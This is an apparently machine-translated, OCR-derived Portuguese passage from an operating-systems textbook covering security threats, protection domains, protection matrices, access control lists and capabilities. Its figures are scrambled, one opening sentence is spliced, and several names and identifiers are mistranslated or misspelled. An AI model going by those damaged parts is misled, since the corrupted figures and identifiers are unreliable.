
Em geral, distinguimos entre ataques que tentam passivamente roubar informações e 
ataques que tentam ativamente fazer com que um programa de computador se comporte mal. 
Um exemplo de ataque passivo é um adversário que fareja o tráfego da rede e tenta quebrar a 
criptografia (se houver) para obter os dados. Num ataque ativo, o intruso pode assumir o 
controle do navegador da Web de um usuário para fazê-lo executar código malicioso, por 
exemplo, para roubar detalhes de cartão de crédito. Na mesma linha, distinguimos entre 
criptografia, que consiste em embaralhar uma mensagem ou arquivo de tal forma que se torne 
difícil recuperar os dados originais, a menos que você tenha a chave, e proteção de software, 
que adiciona mecanismos de proteção aos programas para dificultar que os invasores os façam 
se comportar mal. O sistema operacional usa criptografia em muitos lugares: para transmitir 
dados com segurança pela rede, para armazenar arquivos com segurança no disco, para 
embaralhar as senhas em um arquivo de senha, etc. novo código no software em execução, 
para garantir que cada processo tenha exatamente os privilégios necessários para fazer o que 
deveria fazer e nada mais, etc. 


Quando o computador está sob controle do invasor, ele é conhecido como bot ou zumbi. 
Normalmente, nada disso é visível para o usuário. O invasor pode usar o bot para lançar novos 
ataques, roubar senhas ou detalhes de cartão de crédito, criptografar todos os dados no disco 
para resgate, minerar criptomoedas ou qualquer uma das 1001 outras coisas que você pode 
fazer com o computador e a eletricidade de outra pessoa. pagando. 

Às vezes, os efeitos do ataque vão muito além dos próprios sistemas informáticos e 
atingem diretamente o mundo físico. Um exemplo é o ataque ao sistema de gestão de resíduos 
de Maroochy Shire, em Queensland, Austrália — não muito longe de Brisbane. Um ex-funcionário 
descontente de uma empresa de instalação de sistemas de esgoto não achou graça quando o 
Conselho do Condado de Maroochy recusou seu pedido de emprego e ele decidiu não ficar 
bravo, mas se vingar. Ele assumiu o controle do 
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sistema de esgoto e fez com que um milhão de litros de esgoto bruto fosse derramado em parques, 
rios e águas costeiras (onde os peixes morreram imediatamente) — bem como em outros lugares. 
Um exemplo menos fedorento, mas talvez mais sujo e certamente mais assustador, de uma arma 
cibernética interferindo em assuntos físicos foi o Stuxnet — um ataque altamente sofisticado que 
danificou as centrífugas em uma instalação de enriquecimento de urânio em Natanz, no Irã, e que 
teria causado uma desaceleração significativa na atividade do Irã. programa nuclear. Embora 
ninguém se tenha apresentado para reivindicar o crédito por este ataque, algo tão sofisticado 
provavelmente teve origem nos serviços secretos de um ou mais países hostis ao Irão. 


9.1.6 Podemos construir sistemas seguros? 


Hoje em dia, é difícil abrir um jornal sem ler mais uma história sobre invasores que invadem 
sistemas de computadores, roubam informações ou controlam milhões de computadores. Uma 
pessoa ingênua poderia logicamente fazer duas perguntas sobre este estado de coisas: 


1. É possível construir um sistema informático seguro? 


2. Em caso afirmativo, por que não é feito? 


A resposta à primeira é: “Em teoria, sim”. Em princípio, o software e o hardware podem estar livres 
de bugs e podemos até verificar se são seguros — desde que o software ou hardware não seja 
muito grande. ou complicado. Infelizmente, os sistemas informáticos de hoje são terrivelmente 
complicados e isto tem muito a ver com a segunda questão. A segunda questão, por que razão 
não estão a ser construídos sistemas seguros, resume-se a duas razões fundamentais. Primeiro, 
os sistemas actuais não são seguros, mas os utilizadores não estão dispostos a descartá-los. Se 
a Microsoft anunciasse que, além do Windows, tinha um novo produto, o SecureOS, que era 
resistente a vírus, mas não rodava aplicativos do Windows, não é certo que todas as pessoas e 
empresas abandonariam o Windows como uma batata quente e comprariam o novo sistema 
imediatamente. 

Na verdade, a Microsoft possui há anos um sistema operacional altamente seguro, o 
Singularity, mas decidiu não comercializá-lo (Larus e Hunt, 2010). Como o Windows 11 é baseado 
em um hipervisor, seria fácil enviar o Windows 11 com duas máquinas virtuais pré-construídas, o 
Windows 11 e o Singularity, e ao longo dos anos migrar gradualmente aplicativos sensíveis à 
segurança para o Singularity, mas a administração decidiu não fazer isso. isso por razões mais 
conhecidas por ele. 

A segunda questão é mais sutil. A única maneira conhecida de construir um sistema seguro é 
mantê-lo simples. Os recursos são inimigos jurados da segurança. O pessoal do Departamento de 
Marketing da maioria das empresas de tecnologia acredita (com ou sem razão, principalmente de 
forma errada) que o que os usuários desejam desesperadamente são mais recursos, recursos 
maiores, recursos melhores, recursos mais atraentes e recursos cada vez mais inúteis. Eles 
garantem que os arquitetos de sistemas que projetam seus produtos recebam a palavra. No 
entanto, tudo isso significa mais complexidade, mais código, mais bugs e mais erros de segurança. 
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Um dos piores infratores é a Apple, que na verdade é uma das empresas de tecnologia que leva a 
segurança extremamente a sério. Os dispositivos Apple possuem um recurso chamado 
handoff, que permite que você comece a digitar um e-mail em um MacBook e depois mude 
vá para um iPhone para terminar. Algum usuário exigiu isso antes de estar disponível? Nós 
duvido. Mas a Apple fez isso de qualquer maneira, apesar da grande quantidade de bugs potencialmente 
código necessário para implementar isso. Então, a desvantagem disso mais ou menos inútil 
recurso são milhares de linhas de novo código no sistema operacional, potencialmente com 
explorações utilizáveis, que também afetam usuários que nem estão cientes desse recurso, deixe 
sozinho quem o usa. 

Aqui estão dois exemplos bastante simples. Os primeiros sistemas de e-mail enviavam mensagens como 
Texto ASCII. Eles eram simples e podiam ser bastante seguros. A menos que haja 
bugs realmente idiotas no programa de e-mail, há pouca mensagem ASCII recebida 
pode fazer para danificar um sistema de computador (na verdade veremos alguns ataques que podem 
será possível mais adiante neste capítulo). Então as pessoas tiveram a ideia de expandir o e-mail para 
incluem outros tipos de documentos, por exemplo, arquivos Word , que podem conter programas em macros. 
Ler tal documento significa executar o programa de outra pessoa no seu computador. Não importa quanto 
sandboxing seja usado, executar um programa estrangeiro em seu computador é inerentemente mais perigoso 
do que olhar para ele. 
Texto ASCII. Os usuários exigiram a capacidade de alterar e-mails de documentos passivos 
para programas ativos? Provavelmente não, mas alguém achou que seria uma ideia bacana, 
sem se preocupar muito com as implicações de segurança. 

O segundo exemplo é o mesmo para páginas da Web. Quando a Web consistia 
das páginas HTML passivas, não representava um grande problema de segurança. Agora que muitos 
As páginas da Web contêm programas (como JavaScript) que o usuário precisa executar para visualizar 
o conteúdo, um vazamento de segurança após o outro aparece. Assim que um for consertado, 
outro toma o seu lugar. Quando a Web era totalmente estática, os usuários estavam em pé de guerra 
exigindo conteúdo dinâmico? Não que os autores se lembrem, mas sua introdução 
trouxe consigo uma série de problemas de segurança. Parece que o vice-presidente encarregado de dizer 
não estava dormindo ao volante. 

Na verdade, existem algumas organizações que consideram que uma boa segurança é mais importante 
do que novos recursos interessantes, sendo as forças armadas o principal exemplo. Na sequência 
seções, examinaremos algumas das questões envolvidas, mas elas podem ser resumidas em 
uma frase. Para construir um sistema seguro, tenha um modelo de segurança no centro do 
sistema operacional que é simples o suficiente para que os projetistas possam realmente entender 
e resistir a toda pressão para se desviar dele e adicionar novos recursos. 


9.2 CONTROLANDO O ACESSO AOS RECURSOS 


A segurança é mais fácil de alcançar se houver um modelo claro do que deve ser protegido 
e quem tem permissão para fazer o quê. Muito trabalho foi feito nesta área, então 
só podemos arranhar a superfície neste breve tratamento. Iremos nos concentrar em alguns modelos gerais 
e nos mecanismos para aplicá-los. 
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9.2.1 Domínios de Proteção 


Um sistema de computador contém muitos recursos, ou “objetos”, que precisam ser protegidos. 
Esses objetos podem ser hardware (por exemplo, CPUs, páginas de memória, unidades de disco ou 
impressoras) ou software (por exemplo, processos, arquivos, bancos de dados ou semáforos). 

Cada objeto tem um nome único pelo qual é referenciado e um conjunto finito de operações que os 
processos podem realizar nele. As operações de leitura e gravação são apropriadas para um arquivo; 
para cima e para baixo fazem sentido em um semáforo. 

É óbvio que é necessária uma forma de proibir os processos de acessar objetos aos quais eles não 
estão autorizados a acessar. Além disso, este mecanismo deve também permitir restringir os processos 
a um subconjunto das operações jurídicas quando tal for necessário. Por exemplo, o processo A pode 
ter o direito de ler, mas não escrever, o arquivo F. O mecanismo deve permitir isso. 


Até agora, utilizamos casualmente o termo domínio de segurança para nos referirmos a máquinas 
virtuais, kernels de sistemas operacionais e processos que precisam ser isolados uns dos outros e que 
têm seus próprios privilégios. Para discutir diferentes mecanismos de segurança, é útil definir, de forma 
um pouco mais formal, o conceito relacionado de domínio de proteção. Um domínio de proteção é um 
conjunto de pares (objeto, direitos). Cada par especifica um objeto e algum subconjunto de operações 
que podem ser executadas nele. 

Os domínios de proteção e segurança estão intimamente relacionados. Todo domínio de segurança, 
como um processo P ou uma máquina virtual V, está em um domínio de proteção específico D que 
determina quais direitos ele possui. Um direito neste contexto significa permissão para realizar uma das 
operações. Muitas vezes, um domínio de proteção corresponde a um único usuário, informando o que o 
usuário pode ou não fazer, mas também pode ser mais geral do que apenas um usuário. 

Por exemplo, os membros de uma equipe de programação que trabalha em algum projeto podem 
pertencer todos ao mesmo domínio de proteção para que todos possam acessar os arquivos do projeto. 


Em alguns casos, os domínios de proteção são organizados numa hierarquia. Enquanto uma 
máquina virtual (VM) estiver em um domínio de proteção, nenhum programa na VM poderá realizar 
operações que não estejam de acordo com o domínio de proteção. Contudo, isso não significa que todos 
os programas na VM possam realizar todas as operações no domínio de proteção; alguns terão apenas 
um subconjunto dos direitos de acesso. Em outras palavras, os domínios de proteção de nível superior 
serão restringidos pelo domínio de proteção de nível inferior. 


A forma como os objetos são alocados aos domínios de proteção depende das especificidades de 
quem precisa executar quais operações em quais objetos. Contudo, um conceito básico, como vimos, 
é o POLA ou necessidade de saber. Em geral, a segurança funciona melhor quando cada domínio tem 
os objetos e privilégios mínimos para realizar seu trabalho — e nada mais. 


A Figura 9-3 mostra três domínios, mostrando os objetos em cada domínio e os direitos (Leitura, 
Gravação, Execução) disponíveis em cada objeto. Observe que a Impressora1 está em dois domínios 
ao mesmo tempo, com os mesmos direitos em cada um. O arquivo? também está em dois domínios, 
com direitos diferentes em cada um. 
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Domínio 1 Domínio 2 Domínio 3 


Arquivo 1[R] 


Arquivo1 [RW] 
Arquivo4[RWX] 
ArquivoS[RW] 


Arquivo6[RWX] 


Impressora1[W] 


Arquivo2[RW] 


Plotadora [W] 1 


Figura 9-3. Três domínios de proteção. 


A cada instante, cada processo (ou em geral, domínio de segurança) é executado em algum 
domínio de proteção. Em outras palavras, existe alguma coleção de objetos que ele pode acessar 
e para cada objeto ele possui algum conjunto de direitos. Os processos também podem mudar de 
domínio de proteção para domínio de proteção durante a execução. As regras para comutação de 
domínio de proteção são altamente dependentes do sistema. 

Para tornar a ideia de um domínio de proteção mais concreta, vejamos o UNIX (incluindo 
Linux, FreeBSD e amigos). No UNIX, o domínio de um processo é definido pelo seu UID e GID. 
Quando os usuários fazem login, seus shells obtêm o UID e o GID contidos em sua entrada no 
arquivo de senha e estes são herdados por todos os seus filhos. Dada qualquer combinação (UID, 
GID), é possível fazer uma lista completa de todos os objetos (arquivos, incluindo dispositivos de E/ 
S representados por arquivos especiais, etc.) que podem ser acessados, e se eles podem ser 
acessados para leitura, escrever ou executar. Dois processos com a mesma combinação (UID, 
GID) terão acesso exatamente ao mesmo conjunto de objetos. Processos com valores diferentes 
(UID, GID) terão acesso a um conjunto diferente de arquivos, embora possa haver uma sobreposição 
considerável. 

Além disso, cada processo no UNIX possui duas metades: a parte do usuário e a parte do 
kernel. Quando o processo faz uma chamada de sistema, ele muda da parte do usuário para a 
parte do kernel. A parte do kernel tem acesso a um conjunto diferente de objetos da parte do 
usuário. Por exemplo, o kernel pode acessar todas as páginas da memória física, todo o disco e 
todos os outros recursos protegidos. Assim, uma chamada de sistema causa uma troca de domínio 
de proteção. 

Quando um processo executa um exec em um arquivo com o bit SETUID ou SETGID ativado, 
ele adquire um novo UID ou GID efetivo. Com uma combinação diferente (UID, GID), possui um 
conjunto diferente de arquivos e operações disponíveis. Executar um programa com SETUID ou 
SETGID também é uma troca de domínio de proteção, pois os direitos disponíveis mudam. 


Este é outro ponto onde os conceitos de domínio de segurança e domínio de proteção diferem. 
Ao usarmos o termo domínio de segurança, nos referimos simplesmente ao processo SETUID e 
esse domínio de segurança não muda. Em contraste, o domínio de proteção muda quando um 
processo altera o UID efetivo. 

Nesta seção, estamos interessados em direitos de acesso. No restante desta seção, sempre 
que dizemos domínio, queremos dizer domínio de proteção. Se quisermos falar sobre domínios de 
segurança, diremos isso explicitamente. 
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Uma questão importante é como o sistema controla a qual objeto pertence 
para qual domínio de proteção. Conceitualmente, pelo menos, pode-se imaginar uma grande matriz, 
com as linhas sendo domínios e as colunas sendo objetos. Cada caixa lista os 
direitos, se houver, que o domínio contém para o objeto. A matriz da Fig. 9-3 é 
mostrado na Figura 9-4. Dada esta matriz e o número de domínio atual, o sistema 


pode dizer se um acesso a um determinado objeto de uma maneira particular a partir de um domínio especificado é 
permitido. 


Objeto 


Arquivo? Arquivo? Arquivo3 Arquivos Arquivo5 Arquivos Impressora? Plotadora2 


Domínio 
Ler 
1 e 
Escrever 
Ler 
Ler 
2 Ler Escrever Escrever 
Escrever 
Executar 
Ler 
3 Escrever Escrever Escrever 
Executar 


Figura 9-4. Uma matriz de proteção. 


A própria troca de domínio pode ser facilmente incluída no modelo matricial, percebendo-se que um domínio 
é ele próprio um objeto, com a operação enter. A Figura 9-5 mostra o 
matriz da Figura 9-4 novamente, só que agora com os três domínios como objetos propriamente ditos. 
Os processos no domínio 1 podem mudar para o domínio 2, mas uma vez lá, não podem voltar. 
Esta situação modela a execução de um programa SETUID no UNIX. Nenhum outro domínio 
interruptores são permitidos neste exemplo. 


Objeto 


Arquivo? Arquivo? Arquivo3 Arquivos Arquivo5 Arquivo6 Impressora1 Plotter? Domínio! Domínio2 Domínio3 


Domínio 

Ler o 
1 Ler Digitar 

Escrever 

Ler L 
er 
2 Ler Escrever Escrever 
Escrever 
Executar 
Ler 
3 Escrever Escrever Escrever 
Executar 


Figura 9-5. Uma matriz de proteção com domínios como objetos. 


9.2.2 Listas de Controle de Acesso 


Na prática, o armazenamento real da matriz da Figura 9-5 raramente é feito porque é 
grande e esparso. A maioria dos domínios não tem acesso algum à maioria dos objetos, portanto, armazenar um 


matriz muito grande, quase sempre vazia, é um desperdício de espaço em disco. Dois métodos que são 
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Porém, é prático armazenar a matriz por linhas ou colunas e depois armazenar apenas os 
elementos não vazios. As duas abordagens são surpreendentemente diferentes. Nesta seção, 
veremos como armazená-lo por coluna; a seguir estudaremos como armazená-lo por 

linha. 

A primeira técnica consiste em associar a cada objeto uma lista (ordenada) contendo todos os 
domínios que podem acessar o objeto e como. Essa lista é chamada de ACL (Lista de Controle 
de Acesso) e é ilustrada na Figura 9-6. Aqui vemos três processos, cada um pertencente a um 
domínio diferente, A, Be C, e três arquivos F1, F2 e F3. Para simplificar, assumiremos que cada 
domínio corresponde exatamente a um usuário, neste caso, os usuários A, Be C. Frequentemente, 
na literatura de segurança, os usuários são cnamados de sujeitos ou principais, para contrastá- 
los com as coisas possuídas, os objetos, como arquivos. 


Proprietário 


Processo N 
© © ESA 


Fim 


Auto > [nt— R: RW; B:R 
R: R; B:RW; C:R S Núcleo 


espaço 


B:RWX; C:RX 


Figura 9-6. Uso de listas de controle de acesso para gerenciar o acesso a arquivos. 


Cada arquivo possui uma ACL associada a ele. O arquivo F1 possui duas entradas em sua 


ACL (separadas por ponto e vírgula). A primeira entrada diz que qualquer processo pertencente 

ao usuário A pode ler e gravar o arquivo. A segunda entrada diz que qualquer processo pertencente 
ao usuário B pode ler o arquivo. Todos os outros acessos destes usuários e todos os acessos de 
outros usuários são proibidos (aderindo ao princípio de fail-safe defaults). Observe que os direitos 
são concedidos pelo usuário, não pelo processo. No que diz respeito ao sistema de proteção, 
qualquer processo pertencente ao usuário A pode ler e gravar o arquivo F1. Não importa se existe 
um desses processos ou 100 deles. É o proprietário, e não o ID do processo, que importa 


termos. 

O arquivo F2 possui três entradas em sua ACL: A, B e C podem ler o arquivo e B também 
pode gravá-lo. Nenhum outro acesso é permitido. O arquivo F3 é aparentemente um programa 
executável, já que Be C podem lê-lo e executá-lo. B também pode escrevê-lo. 

Este exemplo ilustra a forma mais básica de proteção com ACLs. Sistemas mais sofisticados 
são frequentemente usados na prática. Para começar, mostramos apenas três direitos até agora: 
ler, escrever e executar. Também pode haver direitos adicionais. 

Alguns deles podem ser genéricos, isto é, aplicáveis a todos os objetos, e alguns podem ser objeto 
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específico. Exemplos de direitos genéricos são destruir objeto e copiar objeto. Eles podem ser 
válidos para qualquer objeto, não importa o tipo. Os direitos específicos do objeto podem incluir 
anexar mensagem para um objeto de caixa de correio e classificar alfabeticamente para um 
objeto de diretório. 

Até agora, nossas entradas ACL foram para usuários individuais. Muitos sistemas suportam 
o conceito de um grupo de usuários. Os grupos têm nomes e podem ser incluídos em ACLs. 
Duas variações na semântica dos grupos são possíveis. Em alguns sistemas, cada processo 


possui um ID de usuário (UID) e um ID de grupo (GID). Nesses sistemas, uma entrada ACL 
contém entradas no formato 


UID1, GID1: direitost; UID2, GID2: direitos2; ... 


Nessas condições, quando é feita uma solicitação de acesso a um objeto, é feita uma verificação 
utilizando o UID e o GID do cnamador. Se estiverem presentes na ACL, os direitos listados estarão 
disponíveis. Se a combinação (UID, GID) não estiver na lista, o acesso não será permitido. 


Usar grupos dessa forma introduz efetivamente o conceito de função. Considere uma 
instalação de computador na qual Tana é administradora do sistema e, portanto, do grupo sysadm. 
No entanto, suponha que a empresa também tenha alguns clubes para funcionários e que Tana 
seja membro do clube de columbófilos. Os membros do clube pertencem ao grupo pigfan e têm 
acesso aos computadores da empresa para gerir a sua base de dados de pombos. Uma porção 
do LCA pode ser mostrada na Figura 9.7. 


Arquivo Lista de controle de acesso 
Senha tana, sysadm: conta RW, 
Dados de-pombo pigfan: RW; tana, pigfan: RW; ... 


Figura 9-7. Duas listas de controle de acesso. 


Se Tana tentar acessar um desses arquivos, o resultado dependerá do grupo em que ela 
está conectada no momento. Quando ela faz login, o sistema pode pedir que ela escolha qual dos 
grupos ela está usando no momento, ou pode até haver nomes de login e/ou senhas diferentes 
para mantê-los separados. O objetivo desse esquema é evitar que Tana acesse o arquivo de 
senhas quando ela estiver com seu chapéu de columbófilo. Ela pode fazer isso somente quando 
estiver logado como administrador do sistema. 

Em alguns casos, um usuário pode ter acesso a determinados arquivos independentemente 
do grupo no qual ele está conectado no momento. Esse caso pode ser resolvido introduzindo o 
conceito de curinga, que significa todos. Por exemplo, a entrada 


tana, *: RW 


pois o arquivo de senha daria acesso a Tana, independentemente do grupo em que ela estivesse 
atualmente. 

Ainda outra possibilidade é que se um usuário pertencer a qualquer um dos grupos que 
possuem determinados direitos de acesso, o acesso seja permitido. A vantagem aqui é que um usuário 
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pertencer a vários grupos não precisa especificar qual grupo usar no momento do login. Todos eles 
contam o tempo todo. Uma desvantagem desta abordagem é que ela fornece menos encapsulamento: 
Tana pode editar o arquivo de senha durante uma reunião do clube de pombos. 


O uso de grupos e curingas introduz a possibilidade de bloquear seletivamente o acesso de 
um usuário específico a um arquivo. Por exemplo, a entrada 


Ana, *: (nenhum); *, *: RW 


dá ao mundo inteiro, exceto Anna, acesso de leitura e gravação ao arquivo. Isso funciona porque 
as entradas são verificadas em ordem e a primeira que se aplica é obtida; as entradas subsequentes 
nem sequer são examinadas. Uma correspondência é encontrada para Anna na primeira entrada e 
os direitos de acesso, neste caso, “nenhum” são encontrados e aplicados. A pesquisa é encerrada 
nesse ponto. O facto de o resto do mundo ter acesso nunca é 
até visto. 

A outra maneira de lidar com grupos não é fazer com que as entradas da ACL consistam em 
pares (UID, GID), mas fazer com que cada entrada seja um UID ou um GID. Por exemplo, uma 
entrada para os dados do arquivo pombo poderia ser 


Débora: RW; ema: RW; fã de porco: RW 


o que significa que Debbie e Emma, e todos os membros do grupo pigfan , têm acesso de leitura e 
gravação ao arquivo. 

Às vezes ocorre que um usuário ou grupo tem certas permissões em relação a um arquivo que 
o proprietário do arquivo deseja revogar posteriormente. Com listas de controle de acesso, é 
relativamente simples revogar um acesso concedido anteriormente. Tudo o que precisa ser feito é 
editar a ACL para fazer a alteração. No entanto, se a ACL for verificada apenas quando um arquivo 
for aberto, muito provavelmente a alteração terá efeito apenas em futuras chamadas de abertura. 
Qualquer arquivo que já esteja aberto continuará a ter os direitos que tinha quando foi aberto, 
mesmo que o usuário não esteja mais autorizado a acessar o arquivo. 

Em sistemas UNIX como Linux e FreeBSD, você pode usar os comandos getfacl e setfacl para 
inspecionar e definir a lista de controle de acesso, respectivamente. Na prática, muitos usuários 
limitam-se a regular o acesso a arquivos usando as conhecidas permissões de leitura, gravação e 
execução do UNIX para o "usuário" (proprietário), "grupo" e "outros" ( todos os outros), mas as listas 
de controle de acesso proporcionam um controle mais refinado sobre quem tem acesso a quê. Por 
exemplo, suponha que temos um arquivo hello.txt com as seguintes permissões de arquivo: 


-rW-f----- 1 equipe herbertb 6 20 de novembro 11:05 hello.txt 


Em outras palavras, o arquivo tem permissão de leitura/gravação para o proprietário, permissões de 
leitura para todos os membros da equipe do grupo e nenhuma permissão para todos os outros. 
Usando listas de controle de acesso, Herbert pode dar ao usuário Yossar ian permissões de leitura/ 
gravação no arquivo sem adicioná-lo à equipe do grupo ou tornar o arquivo acessível a todos os 
outros, como segue: 


setfacl -mu:yossar ian:rw olá.txt 
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Da mesma forma, o Windows permite que os usuários inspecionem e configurem as listas de controle 
de acesso de seu PowerShell usando os comandos get-Acl e set-Acl . O MacOS também oferece suporte 
a ACLs, mas transferiu os comandos para o comando chmod . 


9.2.3 Capacidades 


A outra maneira de dividir a matriz da Figura 9-5 é por linhas. Quando este método é utilizado, 
associada a cada processo (ou, em geral, domínio de segurança) está uma lista de objetos que podem 
ser acessados, juntamente com uma indicação de quais operações são permitidas em cada um, ou seja, 
seu domínio. Essa lista é chamada de lista de capacidades (ou lista C) e os itens individuais nela são 
chamados de capacidades. Esta ideia existe há meio século, mas ainda é amplamente utilizada (Dennis 
e Van Horn, 1966; Fabry, 1974). Um conjunto de três processos e suas listas de capacidades é mostrado 
na Figura 9.8. 


Proprietário 


Processo 


Do utilizador 


espaço 


JU 


Núcleo 


espaço 


Lista C 


Figura 9-8. Quando capacidades são usadas, cada processo possui uma lista de capacidades. 


Cada capacidade concede ao proprietário determinados direitos sobre um determinado objeto. Na 
Figura 9.8, o processo pertencente ao usuário A pode ler os arquivos F1 e F2, por exemplo. Normalmente, 
uma capacidade consiste em um identificador de arquivo (ou mais geralmente, um objeto) e um bitmap 
para os vários direitos. Em um sistema semelhante ao UNIX, o identificador do arquivo provavelmente 
seria o número do i-node. As listas de capacidades são elas próprias objetos e podem ser apontadas a 
partir de outras listas de capacidades, facilitando assim o compartilhamento de subdomínios. 

É bastante óbvio que as listas de capacidades devem ser protegidas contra adulteração do usuário. 
São conhecidos três métodos para protegê-los. A primeira maneira requer uma arquitetura etiquetada, 
um projeto de hardware no qual cada palavra de memória possui um bit extra (ou tag) que informa se a 
palavra contém uma capacidade ou não. O bit de tag não é usado por instruções aritméticas, de 
comparação ou similares e pode ser modificado apenas por programas executados em modo kernel (isto 
é, o sistema operacional). Máquinas de arquitetura marcada foram construídas e podem funcionar muito 
bem (Feustal, 1972). O IBM AS/400 é um exemplo popular. 
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A segunda maneira é manter a lista C dentro do sistema operacional. As capacidades são 
então referidas pela sua posição na lista de capacidades. Um processo pode dizer: "Leia 1 KB do 
arquivo apontado pela capacidade 2." Essa forma de endereçamento é semelhante ao uso de 
descritores de arquivo no UNIX. Hydra (Wulf et al., 1974) funcionou dessa maneira. 


A terceira maneira é manter a lista C no espaço do usuário, mas gerenciar os recursos 
criptograficamente para que os usuários não possam alterá-los. Esta abordagem é particularmente 
adequada para sistemas distribuídos e funciona da seguinte maneira. Quando um processo cliente 
envia uma mensagem para um servidor remoto, por exemplo, um servidor de arquivos, para criar 
um objeto para ele, o servidor cria o objeto e gera um número aleatório longo, o campo de 
verificação, para acompanhá-lo. Um slot na tabela de arquivos do servidor é reservado para o 
objeto e o campo de verificação é armazenado ali junto com os endereços dos blocos do disco. 
Em termos UNIX, o campo de verificação é armazenado no servidor no i-node. Ele não é enviado 
de volta ao usuário e nunca é colocado na rede. O servidor então gera e retorna uma capacidade 
ao usuário no formato mostrado na Figura 9.9. 


Servidor Objeto Direitos f(Objetos, Direitos, Cheque) 


Figura 9-9. Um recurso protegido criptograficamente. 


A capacidade retornada ao usuário contém o identificador do servidor, o número do objeto (o 
índice nas tabelas do servidor, essencialmente, o número do i-node) e os direitos, armazenados 
como um bitmap. Para um objeto recém-criado, todos os bits de direitos estão ativados, é claro, 
porque o proprietário pode fazer tudo. O último campo consiste na concatenação do objeto, dos 
direitos e do campo de verificação executada por meio de uma função unidirecional 
criptograficamente segura, f. Uma função unidirecional criptograficamente segura é uma função 
y = f(x) que tem a propriedade de que, dado x, é fácil encontrar y, mas, dado y , é 
computacionalmente inviável encontrar x. Iremos discuti-los em detalhes na Seção 9.5. 

Por enquanto, basta saber que com uma boa função unidirecional, mesmo um invasor determinado 
não será capaz de adivinhar o campo de verificação, mesmo que conheça todos os outros campos 
da capacidade. 

Quando o usuário deseja acessar o objeto, ele envia a capacidade ao servidor como parte 
da solicitação. O servidor então extrai o número do objeto para indexar em suas tabelas para 
localizar o objeto. Em seguida, calcula f (Object, Rights, Check), obtendo os dois primeiros 
parâmetros da própria capacidade e o terceiro de suas próprias tabelas. Se o resultado estiver de 
acordo com o quarto campo da capacidade, a solicitação será atendida; caso contrário, é rejeitado. 
Se um usuário tentar acessar o objeto de outra pessoa, ele não conseguirá fabricar o quarto 
campo corretamente, pois não conhece o campo de verificação, e a solicitação será rejeitada. 


Um usuário pode solicitar ao servidor que produza uma capacidade mais fraca, por exemplo, 
para acesso somente leitura. Primeiro, o servidor verifica se o recurso é válido. Nesse caso, ele 
calcula f (Objeto, Novos direitos, Verificação) e gera uma nova capacidade colocando esse valor em 
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o quarto campo. Observe que o valor Check original é usado porque outros recursos pendentes 
dependem dele. 

Esse novo recurso é enviado de volta ao processo solicitante. O usuário agora pode dar 
isso a um amigo apenas enviando uma mensagem. Se o amigo ativar bits de direitos que 
deveriam estar desativados, o servidor detectará isso quando o recurso for usado, pois o valor 
de fnão corresponderá ao campo de direitos falsos. Como o amigo não conhece o campo de 
verificação verdadeiro, ele não pode fabricar uma capacidade que corresponda aos bits de 
direitos falsos. Este esquema foi desenvolvido para o sistema Amoeba (Tanenbaum et al., 1990). 


Além dos direitos específicos dependentes do objeto, como leitura e execução, os recursos 
(protegidos pelo kernel e criptograficamente) geralmente possuem direitos genéricos que são 
aplicáveis a todos os objetos. Exemplos de direitos genéricos são 


1. Capacidade de cópia: crie uma nova capacidade para o mesmo objeto. 
2. Copiar objeto: crie um objeto duplicado com um novo recurso. 
3. Remover capacidade: exclua uma entrada da lista C; objeto não afetado. 


4. Destruir objeto: remover permanentemente um objeto e uma capacidade. 


Uma última observação que vale a pena fazer sobre sistemas de capacidade é que revogar 
o acesso a um objeto é bastante difícil na versão gerenciada pelo kernel. É difícil para o sistema 
encontrar todos os recursos pendentes de qualquer objeto para recuperá-los, uma vez que eles 
podem estar armazenados em listas C por todo o disco. Uma abordagem é fazer com que cada 
capacidade aponte para um objeto indireto, e não para o objeto em si. Ao fazer com que o objeto 
indireto aponte para o objeto real, o sistema sempre pode quebrar essa conexão, invalidando 
assim as capacidades. (Quando uma capacidade para o objeto indireto for posteriormente 
apresentada ao sistema, o usuário descobrirá que o objeto indireto agora está apontando para 
um objeto nulo.) 

No esquema Amoeba, a revogação é fácil. Tudo o que precisa ser feito é alterar o campo 
de verificação armazenado com o objeto. De uma só vez, todas as capacidades existentes são 
invalidadas. Contudo, nenhum dos esquemas permite a revogação selectiva, isto é, a retirada, 
digamos, da permissão de Joanna, mas de mais ninguém. Este defeito é geralmente 
reconhecido como um problema em todos os sistemas de capacidade. 

Outro problema geral é garantir que o proprietário de uma capacidade válida não dê uma 
cópia a 1.000 de seus melhores amigos. Ter os recursos de gerenciamento do kernel, como no 
Hydra, resolve o problema, mas esta solução não funciona bem em um sistema distribuído 
como o Amoeba. 

Resumindo muito brevemente, as ACLs e os recursos têm propriedades um tanto 
complementares. Os recursos são muito eficientes porque se um processo disser "Abra o 
arquivo apontado pelo recurso 3" nenhuma verificação será necessária. Com ACLs, pode ser 
necessária uma pesquisa (potencialmente longa) da ACL. Se os grupos não forem suportados, 
conceder a todos acesso de leitura a um arquivo exigirá a enumeração de todos os usuários 
na ACL. Os recursos também permitem que um processo seja encapsulado facilmente, enquanto as ACLs não. 
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por outro lado, as ACLs permitem a revogação seletiva de direitos, o que as capacidades não permitem. 
Finalmente, se um objeto for removido e as capacidades não forem, ou vice-versa, surgirão problemas. 
As ACLs não sofrem com esse problema. 

A maioria dos usuários está familiarizada com ACLs porque elas são comuns em sistemas 
operacionais como Windows e UNIX. No entanto, as capacidades também não são tão incomuns. Por 
exemplo, o kernel L4 que roda em muitos smartphones de muitos fabricantes (normalmente junto ou 
abaixo de outros sistemas operacionais como o Android) é baseado em capacidade. Da mesma forma, 
o FreeBSD adotou o Capsicum, trazendo capacidades para um membro popular da família UNIX. 
Embora o Linux também tenha uma noção de capacidades, é importante enfatizar que estas são 
capacidades muito diferentes e não “reais” no sentido (Dennis e Van Horn, 1966) da palavra. 


9.3 MODELOS FORMAIS DE SISTEMAS SEGUROS 


Matrizes de proteção, como a da Figura 9-4, não são estáticas. Eles mudam frequentemente à 
medida que novos objetos são criados, objetos antigos são destruídos e os proprietários decidem 
aumentar ou restringir o conjunto de usuários para seus objetos. Muita atenção tem sido dada à 
modelagem de sistemas de proteção nos quais a matriz de proteção está em constante mudança. 
Abordaremos agora brevemente alguns desses trabalhos. 


Décadas atrás, Harrison et al. (1976) identificaram seis operações primitivas na matriz de proteção que podem ser utilizadas 
como base para modelar qualquer sistema de proteção. Essas operações primitivas são criar objeto, excluir objeto, criar domínio, excluir 
domínio, inserir direito e remover direito. As duas últimas primitivas inserem e removem direitos de elementos de matriz específicos, 


como conceder permissão ao domínio 1 para ler o Arquivo6. 


